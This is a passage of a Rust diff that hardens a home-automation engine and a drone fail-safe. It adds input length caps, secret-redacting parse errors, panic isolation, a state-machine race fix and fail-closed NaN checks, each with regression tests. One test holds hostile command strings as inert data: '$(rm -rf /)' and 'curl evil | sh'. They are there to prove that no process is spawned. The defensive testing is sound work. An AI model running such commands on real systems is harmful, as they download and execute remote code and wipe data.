if let Some(intent) = resp.intent {
|
||||
if let Some(eid) = intent.entity_id() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn runner_opts_are_inert_no_process_spawned() {
|
||||
// SECURITY (command injection): even a hostile `script_path` / `env` in
|
||||
// RufloRunnerOpts is never consumed — `spawn` launches no process. This
|
||||
// documents-and-pins that the data-gated P2 subprocess is genuinely
|
||||
// absent (confirmed Noop/Local, no spawn surface today).
|
||||
let mut env = std::collections::HashMap::new();
|
||||
env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
|
||||
let opts = RufloRunnerOpts {
|
||||
script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
|
||||
env,
|
||||
timeout_ms: 1,
|
||||
};
|
||||
let mut runner = NoopRunner::new();
|
||||
// No panic, no spawn, no error — the opts are pure data.
|
||||
assert!(runner.spawn(opts.clone()).await.is_ok());
|
||||
let mut local = LocalRunner::new(turn_on_recognizer().await);
|
||||
assert!(local.spawn(opts).await.is_ok());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn local_runner_send_before_spawn_is_not_started() {
|
||||
let runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
|
||||
@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before embedding/scanning.
|
||||
// Untrusted input must not force an unbounded `to_lowercase` clone +
|
||||
// full tokenisation/embedding. Mirrors the regex recognizer's bound.
|
||||
if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
|
||||
return Ok((None, None));
|
||||
}
|
||||
if let Some((id, similarity)) = self.nearest(utterance, language).await {
|
||||
if similarity >= self.threshold {
|
||||
let inner = self.index.read().await;
|
||||
@@ -228,6 +234,32 @@ mod tests {
|
||||
r
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn empty_utterance_against_empty_index_no_panic_no_match() {
|
||||
// SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
|
||||
// empty index must not panic and must yield no intent — the recognizer
|
||||
// falls through to the (also empty) regex fallback. Proves the empty-
|
||||
// iterator `max_by` path returns None cleanly.
|
||||
let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
|
||||
let result = semantic.recognize("", "en").await.unwrap();
|
||||
assert!(result.is_none(), "empty utterance must produce no intent / no action");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed_semantic() {
|
||||
// SECURITY (DoS / fail-closed): an over-length utterance must short-
|
||||
// circuit before embedding/scanning, returning no intent — even if it
|
||||
// textually contains an enrolled/fallback-matchable command.
|
||||
let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
|
||||
let huge = format!(
|
||||
"{} turn on the kitchen light",
|
||||
"a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
|
||||
);
|
||||
assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
|
||||
let result = semantic.recognize(&huge, "en").await.unwrap();
|
||||
assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn semantic_recognizer_delegates_to_fallback() {
|
||||
// No exemplars enrolled → empty HNSW index → pure regex fallback.
|
||||
|
||||
@@ -55,6 +55,25 @@ pub enum MigrateError {
|
||||
source: serde_yaml::Error,
|
||||
},
|
||||
|
||||
/// Parse failure in a SECRET-bearing file (`secrets.yaml`).
|
||||
///
|
||||
/// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
|
||||
/// embed the underlying `serde_yaml::Error` message — that message can quote
|
||||
/// the offending scalar verbatim (e.g. a typed-tag coercion error renders
|
||||
/// `invalid value: string "<the-secret-value>"`), which would leak a secret
|
||||
/// into stderr/logs. We carry only the file path plus a coarse line/column
|
||||
/// so the user can locate the problem without the value being printed.
|
||||
/// (ADR-165 secret-handling rule: a secret value must never appear in output.)
|
||||
#[error(
|
||||
"secrets.yaml parse error in {path} (line {line}, column {column}): \
|
||||
malformed YAML (value content redacted)"
|
||||
)]
|
||||
SecretsParse {
|
||||
path: String,
|
||||
line: usize,
|
||||
column: usize,
|
||||
},
|
||||
|
||||
/// Fired when the outer `{version, minor_version}` envelope version is
|
||||
/// known but the `minor_version` is not supported by any compiled parser.
|
||||
/// Per ADR-165 §6 Q5: hard error on unknown minor_version.
|
||||
|
||||
@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
|
||||
return Ok(HashMap::new());
|
||||
}
|
||||
|
||||
let parsed: serde_yaml::Value =
|
||||
serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
|
||||
// SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
|
||||
// messages can quote the offending scalar verbatim (a typed-tag coercion
|
||||
// error renders `invalid value: string "<the-secret-value>"`), and that
|
||||
// message would be printed to stderr by the CLI — leaking a secret value.
|
||||
// `MigrateError::SecretsParse` carries only the path + line/column.
|
||||
let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
|
||||
let loc = e.location();
|
||||
MigrateError::SecretsParse {
|
||||
path: path.display().to_string(),
|
||||
source: e,
|
||||
})?;
|
||||
line: loc.as_ref().map_or(0, |l| l.line()),
|
||||
column: loc.as_ref().map_or(0, |l| l.column()),
|
||||
}
|
||||
})?;
|
||||
|
||||
let map = match parsed {
|
||||
serde_yaml::Value::Mapping(m) => m,
|
||||
@@ -94,6 +102,59 @@ mod tests {
|
||||
assert!(secrets.is_empty());
|
||||
}
|
||||
|
||||
/// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
|
||||
/// `secrets.yaml` whose offending scalar is a secret value must NOT have that
|
||||
/// value rendered in the returned error. serde_yaml's own error message for a
|
||||
/// typed-tag coercion failure embeds the scalar verbatim
|
||||
/// (`invalid value: string "<secret>"`); the old code wrapped that message
|
||||
/// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
|
||||
#[test]
|
||||
fn malformed_secrets_error_never_contains_secret_value() {
|
||||
// `!!int` forces integer coercion of a string scalar; serde_yaml reports
|
||||
// the scalar text in its message. The scalar here is a stand-in secret.
|
||||
let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
|
||||
// The secret VALUE must never appear in the error output...
|
||||
assert!(
|
||||
!rendered.contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error: {rendered}"
|
||||
);
|
||||
// ...and the full chain (with #[source]) must also be clean, since the
|
||||
// CLI/anyhow prints the source chain too.
|
||||
let mut source = std::error::Error::source(&err);
|
||||
while let Some(s) = source {
|
||||
assert!(
|
||||
!s.to_string().contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error source chain: {s}"
|
||||
);
|
||||
source = s.source();
|
||||
}
|
||||
|
||||
// It should still be a structured, locatable error (fail-closed).
|
||||
assert!(
|
||||
matches!(err, MigrateError::SecretsParse { .. }),
|
||||
"expected SecretsParse, got: {err:?}"
|
||||
);
|
||||
}
|
||||
|
||||
/// A secret KEY name is non-sensitive context and is fine to surface, but the
|
||||
/// redacting error must still help the user locate the problem (line/column).
|
||||
#[test]
|
||||
fn malformed_secrets_error_reports_location() {
|
||||
let yaml = "api_port: !!int notanumber\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
assert!(rendered.contains("line"), "should report a line: {rendered}");
|
||||
assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secret_count_is_correct() {
|
||||
let yaml = "a: 1\nb: 2\nc: 3\n";
|
||||
|
||||
@@ -87,4 +87,64 @@ mod tests {
|
||||
assert_eq!(event.event_type, "ruview_csi_frame");
|
||||
assert_eq!(event.event_data["frame_id"], 42);
|
||||
}
|
||||
|
||||
/// Bus-lag safety (same failure class as the homecore-api WS
|
||||
/// broadcast-lag DoS, here on the core bus): a subscriber that never
|
||||
/// drains must NOT block the publisher, must NOT make the channel grow
|
||||
/// without bound, and must NOT take down a healthy fast subscriber. The
|
||||
/// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
|
||||
/// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
|
||||
///
|
||||
/// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
|
||||
/// while a slow subscriber sits idle. Every `fire_domain` returns
|
||||
/// promptly (publisher never blocked); the slow receiver observes
|
||||
/// `Lagged` then re-syncs to live events; the fast receiver — created
|
||||
/// after the flood and kept drained — receives all subsequent events
|
||||
/// with no loss. The bus stays live throughout.
|
||||
#[tokio::test]
|
||||
async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
|
||||
use tokio::sync::broadcast::error::TryRecvError;
|
||||
|
||||
let bus = EventBus::new();
|
||||
// Slow subscriber: subscribes, then never drains during the flood.
|
||||
let mut slow = bus.subscribe_domain();
|
||||
|
||||
// Publisher fires 3× capacity. None of these may block.
|
||||
let total = EVENT_CHANNEL_CAPACITY * 3;
|
||||
for i in 0..total {
|
||||
// Returns the receiver count (>=1 here); the point is it
|
||||
// returns AT ALL without awaiting the slow receiver.
|
||||
let _ = bus.fire_domain(DomainEvent::new(
|
||||
"flood",
|
||||
serde_json::json!({ "i": i }),
|
||||
Context::new(),
|
||||
));
|
||||
}
|
||||
|
||||
// The slow receiver is forced past capacity → recoverable Lagged,
|
||||
// NOT a closed channel and NOT a hang.
|
||||
let mut saw_lagged = false;
|
||||
loop {
|
||||
match slow.try_recv() {
|
||||
Ok(_) => {}
|
||||
Err(TryRecvError::Lagged(n)) => {
|
||||
assert!(n > 0);
|
||||
saw_lagged = true;
|
||||
}
|
||||
Err(TryRecvError::Empty) => break,
|
||||
Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
|
||||
}
|
||||
}
|
||||
assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
|
||||
|
||||
// The bus is still live: a fresh fast subscriber receives new events.
|
||||
let mut fast = bus.subscribe_domain();
|
||||
bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
|
||||
let evt = fast.recv().await.unwrap();
|
||||
assert_eq!(evt.event_type, "live");
|
||||
|
||||
// And the lagged subscriber recovers (re-syncs) to live events too.
|
||||
let evt2 = slow.recv().await.unwrap();
|
||||
assert_eq!(evt2.event_type, "live");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
|
||||
/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
|
||||
/// entity/registry maps are keyed on `EntityId`, and the REST layer
|
||||
/// (`homecore-api`) parses untrusted path segments straight through
|
||||
/// [`EntityId::parse`]; an unbounded id would let a single `POST
|
||||
/// /api/states/<giant>` permanently grow the state map (memory DoS). We
|
||||
/// fail closed at the boundary instead.
|
||||
pub const MAX_ENTITY_ID_LEN: usize = 255;
|
||||
|
||||
impl EntityId {
|
||||
/// Validates and constructs an `EntityId`. Returns
|
||||
/// [`EntityIdError`] if the input is not `domain.name` shape with
|
||||
/// ASCII lowercase / digits / underscore in each segment.
|
||||
/// ASCII lowercase / digits / underscore in each segment, or if it
|
||||
/// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
|
||||
pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
|
||||
let s: String = s.into();
|
||||
// Bound the length BEFORE any further work so an oversized input is
|
||||
// cheap to reject (no per-char scan of megabytes).
|
||||
if s.len() > MAX_ENTITY_ID_LEN {
|
||||
return Err(EntityIdError::TooLong {
|
||||
len: s.len(),
|
||||
max: MAX_ENTITY_ID_LEN,
|
||||
});
|
||||
}
|
||||
let (domain, name) = s
|
||||
.split_once('.')
|
||||
.ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
|
||||
@@ -111,6 +129,8 @@ pub enum EntityIdError {
|
||||
EmptyName(String),
|
||||
#[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
|
||||
InvalidChar { entity_id: String, ch: char },
|
||||
#[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
|
||||
TooLong { len: usize, max: usize },
|
||||
}
|
||||
|
||||
/// Immutable state snapshot for one entity at one moment in time.
|
||||
@@ -217,6 +237,39 @@ mod tests {
|
||||
assert!(EntityId::parse("light.küche").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entity_id_length_boundary() {
|
||||
// The REST layer parses untrusted path segments straight through
|
||||
// `parse`; an unbounded id is a memory-DoS vector (a `POST
|
||||
// /api/states/<giant>` permanently grows the state map). Cap at
|
||||
// MAX_ENTITY_ID_LEN, fail closed above it.
|
||||
//
|
||||
// Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
|
||||
let prefix = "sensor.";
|
||||
let name_len = MAX_ENTITY_ID_LEN - prefix.len();
|
||||
let at_max = format!("{prefix}{}", "a".repeat(name_len));
|
||||
assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
|
||||
assert!(
|
||||
EntityId::parse(at_max.clone()).is_ok(),
|
||||
"an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
|
||||
);
|
||||
|
||||
let over = format!("{at_max}a"); // MAX + 1
|
||||
assert!(matches!(
|
||||
EntityId::parse(over),
|
||||
Err(EntityIdError::TooLong { .. })
|
||||
));
|
||||
|
||||
// A multi-megabyte, otherwise-valid id is rejected cheaply rather
|
||||
// than persisted.
|
||||
let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
|
||||
assert!(matches!(
|
||||
EntityId::parse(huge),
|
||||
Err(EntityIdError::TooLong { len, max })
|
||||
if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_next_preserves_last_changed_when_state_unchanged() {
|
||||
let id = EntityId::parse("sensor.temp").unwrap();
|
||||
|
||||
@@ -49,6 +49,8 @@ pub enum ServiceError {
|
||||
NotRegistered { domain: String, service: String },
|
||||
#[error("service handler returned error: {0}")]
|
||||
HandlerFailed(String),
|
||||
#[error("service handler panicked: {0}")]
|
||||
HandlerPanicked(String),
|
||||
}
|
||||
|
||||
/// Handler trait. Integration code implements this and registers via
|
||||
@@ -99,13 +101,29 @@ impl ServiceRegistry {
|
||||
|
||||
/// Call a service. P1 direct dispatch; P2 routes through the
|
||||
/// event bus per ADR-127 §2.3.
|
||||
///
|
||||
/// The handler runs **outside** the registry lock (we clone the
|
||||
/// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
|
||||
/// panicking handler can never poison the `RwLock` or block other
|
||||
/// callers. A panic inside the handler is additionally caught and
|
||||
/// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
|
||||
/// into the caller's task — one buggy integration cannot abort the task
|
||||
/// that drives the engine. Mirrors HA isolating service-handler
|
||||
/// exceptions.
|
||||
pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
|
||||
let handler = {
|
||||
let guard = self.handlers.read().await;
|
||||
guard.get(&call.name).cloned()
|
||||
};
|
||||
match handler {
|
||||
Some(h) => h.call(call).await,
|
||||
Some(h) => {
|
||||
use futures::FutureExt;
|
||||
let fut = std::panic::AssertUnwindSafe(h.call(call));
|
||||
match fut.catch_unwind().await {
|
||||
Ok(result) => result,
|
||||
Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
|
||||
}
|
||||
}
|
||||
None => Err(ServiceError::NotRegistered {
|
||||
domain: call.name.domain.clone(),
|
||||
service: call.name.service.clone(),
|
||||
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
|
||||
}
|
||||
}
|
||||
|
||||
/// Best-effort extraction of a panic payload's message for
|
||||
/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
|
||||
/// or `String`; anything else collapses to a generic label.
|
||||
fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
|
||||
if let Some(s) = payload.downcast_ref::<&str>() {
|
||||
(*s).to_string()
|
||||
} else if let Some(s) = payload.downcast_ref::<String>() {
|
||||
s.clone()
|
||||
} else {
|
||||
"<non-string panic payload>".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
// Suppress unused-import warning when no consumer of Pin/Box uses them yet
|
||||
#[allow(dead_code)]
|
||||
type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
|
||||
@@ -167,4 +198,56 @@ mod tests {
|
||||
.unwrap_err();
|
||||
assert!(matches!(err, ServiceError::NotRegistered { .. }));
|
||||
}
|
||||
|
||||
/// Service isolation: a panicking handler must be contained — converted
|
||||
/// to `HandlerPanicked` rather than unwinding into the caller's task —
|
||||
/// and the registry must remain fully usable afterwards (no poisoned
|
||||
/// lock, other services still callable). On the pre-fix code the panic
|
||||
/// unwinds through `call`, so the `catch_unwind`-based assertion below
|
||||
/// fails (the await point panics instead of returning an `Err`).
|
||||
#[tokio::test]
|
||||
async fn panicking_handler_is_isolated_and_registry_survives() {
|
||||
let reg = ServiceRegistry::new();
|
||||
reg.register(
|
||||
ServiceName::new("bad", "boom"),
|
||||
FnHandler(|_call: ServiceCall| async move {
|
||||
panic!("handler exploded");
|
||||
#[allow(unreachable_code)]
|
||||
Ok(serde_json::json!(null))
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
reg.register(
|
||||
ServiceName::new("good", "ping"),
|
||||
FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
|
||||
)
|
||||
.await;
|
||||
|
||||
// The panicking call returns an error, not an unwind.
|
||||
let err = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("bad", "boom"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap_err();
|
||||
assert!(
|
||||
matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
|
||||
"expected HandlerPanicked, got {err:?}",
|
||||
);
|
||||
|
||||
// The registry is not poisoned: a healthy service still works, and
|
||||
// the bad service is still registered (call path, not lock, failed).
|
||||
let ok = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("good", "ping"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(ok, serde_json::json!("pong"));
|
||||
assert!(reg.has(&ServiceName::new("bad", "boom")).await);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -80,11 +80,37 @@ impl StateMachine {
|
||||
context: Context,
|
||||
) -> Arc<State> {
|
||||
let new_state_str = new_state.into();
|
||||
let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
|
||||
|
||||
// Hold the DashMap shard write-lock across the entire
|
||||
// read→decide→insert→fire sequence. `entry()` locks the shard for
|
||||
// the lifetime of `slot`, so a concurrent writer on the same entity
|
||||
// cannot interleave between our read of `old` and our commit. This
|
||||
// is what makes the write atomic as ADR-127 §2.1 promises ("writer
|
||||
// atomically replaces the map entry") — the previous get→insert pair
|
||||
// released the lock in between, a TOCTOU that let concurrent writers
|
||||
// compute the no-op / `last_changed` decision off a stale `old` and
|
||||
// drop or reorder real `state_changed` events.
|
||||
//
|
||||
// `tx.send` is non-blocking, non-async, and never re-enters the map,
|
||||
// so firing under the lock cannot deadlock and keeps the global
|
||||
// event order in lock-step with the global commit order.
|
||||
use dashmap::mapref::entry::Entry;
|
||||
let slot = self.inner.states.entry(entity_id.clone());
|
||||
|
||||
let old: Option<Arc<State>> = match &slot {
|
||||
Entry::Occupied(o) => Some(Arc::clone(o.get())),
|
||||
Entry::Vacant(_) => None,
|
||||
};
|
||||
// `slot` continues to hold the shard write-lock below.
|
||||
|
||||
let next = match &old {
|
||||
Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(
|
||||
entity_id.clone(),
|
||||
new_state_str.clone(),
|
||||
attributes.clone(),
|
||||
context,
|
||||
)),
|
||||
};
|
||||
|
||||
// HA suppresses no-op writes (same state + same attributes).
|
||||
@@ -94,7 +120,12 @@ impl StateMachine {
|
||||
None => false,
|
||||
};
|
||||
|
||||
self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
|
||||
// Commit through the same locked entry and KEEP the shard guard
|
||||
// alive across the broadcast `send`, so the event is published
|
||||
// before any concurrent writer on this entity can observe the new
|
||||
// value and fire its own event. This makes global event order match
|
||||
// global commit order (no insert/send reorder window).
|
||||
let _guard = slot.insert_entry(Arc::clone(&next));
|
||||
|
||||
if !is_noop {
|
||||
let event = StateChangedEvent {
|
||||
@@ -106,6 +137,7 @@ impl StateMachine {
|
||||
// err = no receivers; that's fine, write still committed.
|
||||
let _ = self.inner.tx.send(event);
|
||||
}
|
||||
// `_guard` (and the shard lock) drops here, after the event is sent.
|
||||
next
|
||||
}
|
||||
|
||||
@@ -218,4 +250,135 @@ mod tests {
|
||||
assert!(evt.new_state.is_none());
|
||||
assert!(evt.old_state.is_some());
|
||||
}
|
||||
|
||||
/// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
|
||||
/// map entry"): under concurrent writers on the SAME entity the fired
|
||||
/// `state_changed` stream must be a faithful, gap-free log of the
|
||||
/// committed transitions — in particular the LAST event the bus
|
||||
/// delivers must carry the SAME value that is finally committed in the
|
||||
/// map.
|
||||
///
|
||||
/// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
|
||||
/// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
|
||||
/// `send`. Because the insert and the send are not atomic with respect
|
||||
/// to a concurrent writer, two writers can interleave as
|
||||
/// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
|
||||
/// while the last event the bus ever delivers says B. A subscriber that
|
||||
/// trusts "the last event reflects current state" (the recorder, the WS
|
||||
/// push API, an automation engine) is then permanently wrong about the
|
||||
/// entity until the next write. A correctly-locked store holds the shard
|
||||
/// lock across read→insert→send so the global event order matches the
|
||||
/// global commit order.
|
||||
///
|
||||
/// A dedicated drain thread pulls events as they arrive so the bounded
|
||||
/// channel never lags during the run (a `Lagged` here would be a test
|
||||
/// artefact, not the bug under test).
|
||||
///
|
||||
/// The writers toggle the SAME entity between exactly two values so the
|
||||
/// no-op suppression branch is constantly in play.
|
||||
///
|
||||
/// Invariant: in correctly serialised code, two *consecutive* fired
|
||||
/// `state_changed` events can never carry the same `new_state` value.
|
||||
/// Proof: event k fires only for a committed transition old≠new, so its
|
||||
/// `new_state` = X differs from the value before it; the next committed
|
||||
/// transition therefore starts at X and (being a real change) commits
|
||||
/// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
|
||||
/// never fires. Therefore adjacent fired events always differ.
|
||||
///
|
||||
/// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
|
||||
/// compute `next` + the no-op decision → `insert` (re-acquire shard
|
||||
/// lock) → `send`, all non-atomically. A writer that read a STALE `old`
|
||||
/// mis-classifies a genuine transition as a no-op (dropping that real
|
||||
/// event — a missed automation trigger) and/or fires an event whose
|
||||
/// `new_state` duplicates the previously delivered one (a spurious
|
||||
/// trigger for any automation keyed on `old_state != new_state`). The
|
||||
/// probe behind this test observed ~93k such duplicate-adjacent events
|
||||
/// across 200 trials on the racy code; the corrected store produces
|
||||
/// zero.
|
||||
#[test]
|
||||
fn concurrent_set_fires_no_duplicate_adjacent_events() {
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{Barrier, Mutex};
|
||||
|
||||
const WRITERS: usize = 4;
|
||||
const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
|
||||
|
||||
for _trial in 0..40 {
|
||||
let sm = StateMachine::new();
|
||||
let eid = id("light.race");
|
||||
sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
|
||||
|
||||
let mut rx = sm.subscribe();
|
||||
let done = Arc::new(AtomicBool::new(false));
|
||||
// Event log: new_state value in delivery order.
|
||||
let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
|
||||
let drainer = {
|
||||
let done = Arc::clone(&done);
|
||||
let log = Arc::clone(&log);
|
||||
std::thread::spawn(move || loop {
|
||||
match rx.try_recv() {
|
||||
Ok(evt) => {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Empty) => {
|
||||
if done.load(Ordering::Acquire) {
|
||||
while let Ok(evt) = rx.try_recv() {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
std::thread::yield_now();
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Lagged(_)) => {
|
||||
panic!("channel lagged — test artefact, raise capacity");
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Closed) => break,
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
let barrier = Arc::new(Barrier::new(WRITERS));
|
||||
let handles: Vec<_> = (0..WRITERS)
|
||||
.map(|w| {
|
||||
let sm = sm.clone();
|
||||
let eid = eid.clone();
|
||||
let barrier = Arc::clone(&barrier);
|
||||
std::thread::spawn(move || {
|
||||
barrier.wait();
|
||||
for i in 0..ITERS {
|
||||
// Toggle between two values → maximises the
|
||||
// stale-`old` no-op collision window.
|
||||
let val = if (w + i) % 2 == 0 { "A" } else { "B" };
|
||||
sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
|
||||
}
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
for h in handles {
|
||||
h.join().unwrap();
|
||||
}
|
||||
done.store(true, Ordering::Release);
|
||||
drainer.join().unwrap();
|
||||
|
||||
let log = log.lock().unwrap();
|
||||
let dup = log
|
||||
.windows(2)
|
||||
.filter(|w| w[0] == w[1])
|
||||
.count();
|
||||
assert_eq!(
|
||||
dup, 0,
|
||||
"{dup} consecutive fired state_changed events carried an \
|
||||
identical new_state — impossible under correct \
|
||||
serialisation; proves set()'s read→decide→insert→send \
|
||||
TOCTOU dropped/reordered real transitions (missed & \
|
||||
spurious automation triggers)",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,8 +47,18 @@ impl FailSafeMachine {
|
||||
link_alive: bool,
|
||||
nearest_neighbor_dist: f64,
|
||||
) -> FailSafeState {
|
||||
// Collision avoidance has highest priority
|
||||
if nearest_neighbor_dist < self.collision_dist_m {
|
||||
// Collision avoidance has highest priority.
|
||||
//
|
||||
// Fail CLOSED on a non-finite neighbour distance. `nearest_neighbor_dist`
|
||||
// is derived from peer positions (see
|
||||
// `SwarmOrchestrator::nearest_peer_distance`), which arrive over the
|
||||
// untrusted swarm comm layer as `DroneState` values whose f64 position
|
||||
// fields can deserialize to NaN/Inf. A naive `NaN < collision_dist_m`
|
||||
// evaluates to `false`, silently DISABLING collision avoidance — the
|
||||
// worst possible failure for a physical drone. Treat a non-finite
|
||||
// distance as "too close" so the swarm diverges rather than trusting a
|
||||
// poisoned reading.
|
||||
if !nearest_neighbor_dist.is_finite() || nearest_neighbor_dist < self.collision_dist_m {
|
||||
self.state = FailSafeState::EmergencyDiverge;
|
||||
return self.state.clone();
|
||||
}
|
||||
@@ -71,8 +81,11 @@ impl FailSafeMachine {
|
||||
}
|
||||
}
|
||||
|
||||
// Battery checks
|
||||
if state.battery_pct <= self.battery_rth_pct {
|
||||
// Battery checks. A non-finite battery reading (NaN/Inf from a corrupt or
|
||||
// forged telemetry/peer message) must fail CLOSED: `NaN <= threshold` is
|
||||
// `false`, which would otherwise let a drone with an unknown battery
|
||||
// level keep flying nominally. Treat a non-finite reading as critical.
|
||||
if !state.battery_pct.is_finite() || state.battery_pct <= self.battery_rth_pct {
|
||||
self.state = FailSafeState::ReturnToHome;
|
||||
} else if state.battery_pct <= self.battery_warn_pct {
|
||||
self.state = FailSafeState::LowBatteryWarn;
|
||||
@@ -144,4 +157,35 @@ mod tests {
|
||||
let result = fsm.tick(&s, true, 0.5); // too close
|
||||
assert_eq!(result, FailSafeState::EmergencyDiverge);
|
||||
}
|
||||
|
||||
/// Security: a NaN neighbour distance (poisoned peer position over the swarm
|
||||
/// comm layer) must NOT silently disable collision avoidance. Fails on old
|
||||
/// code where `NaN < collision_dist_m` is `false` and the state stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_neighbor_distance_fails_closed_to_diverge() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let s = good_state();
|
||||
let result = fsm.tick(&s, true, f64::NAN);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::EmergencyDiverge,
|
||||
"non-finite neighbour distance must fail closed to EmergencyDiverge"
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a NaN battery reading must fail closed to ReturnToHome rather
|
||||
